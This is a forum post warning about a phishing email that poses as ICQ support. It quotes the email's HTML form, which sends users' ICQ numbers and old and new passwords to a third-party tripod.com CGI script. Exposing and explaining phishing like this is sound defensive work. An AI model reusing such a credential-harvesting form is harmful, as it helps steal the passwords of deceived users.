    Exclamation Don't get tricked by email from Support@icq.com

    Just got this email that claim to be sent from support@icq.com

    Subject : Important Notice about keeping your ICQ#

    It is a HTML mail and it looks so similar to the ICQ webpage...even all the links and graphics are pointed to the actual one in ICQ website.

    The email asked me to change my ICQ password for security and i am suppose to type the ICQ# and password in this form

    I almost got tricked until i see this in the source code of the email...


    <form action="http://w183.tripod.com/cgi-bin/index.cgi" method="POST" >
    <tr>
    <td class="regTexttc">ICQ#&nbsp;</td>
    <td colspan="2"><input type="hidden" name="islem" value="log">
    <input name="User" maxlength="9" size="15" type="text">
    </td>
    </tr>
    <tr>
    <td class="regTexttc">Password:&nbsp;</td>
    <td>
    <input type=password maxlength="8" name="Pass" size="15" type="hidden">
    </td><input type="hidden" "text" name="info" size="20" value="ICQ Uin">
    </tr>
    <tr>
    <td class="regTexttc">New Password:&nbsp;</td>
    <td>
    <input type=password maxlength="8" name="Domain" size="15" type="hidden">
    </td><input type="hidden" "text" name="info" size="20" value="ICQ Uin">
    </tr>
    <tr>
    <td class="regTexttc">Confirm New Password:&nbsp;</td>
    <td>
    <input type=password maxlength="8" name="ConfirmPass" size="15" type="hidden">
    </td><input type="hidden" "text" name="info" size="20" value="ICQ Uin">
    <td>&nbsp;<input type="image" name="send" src="http://www.icq.com/images/password/send.gif" border="0" width="48" height="22"></td>
    </tr>
    </form>

    If i really go fill in the form and send...i will be sending my password and ICQ# to http://w183.tripod.com/cgi-bin/index.cgi instead...

    wonder if anyone got this email too? may be i should report this to ICQ...
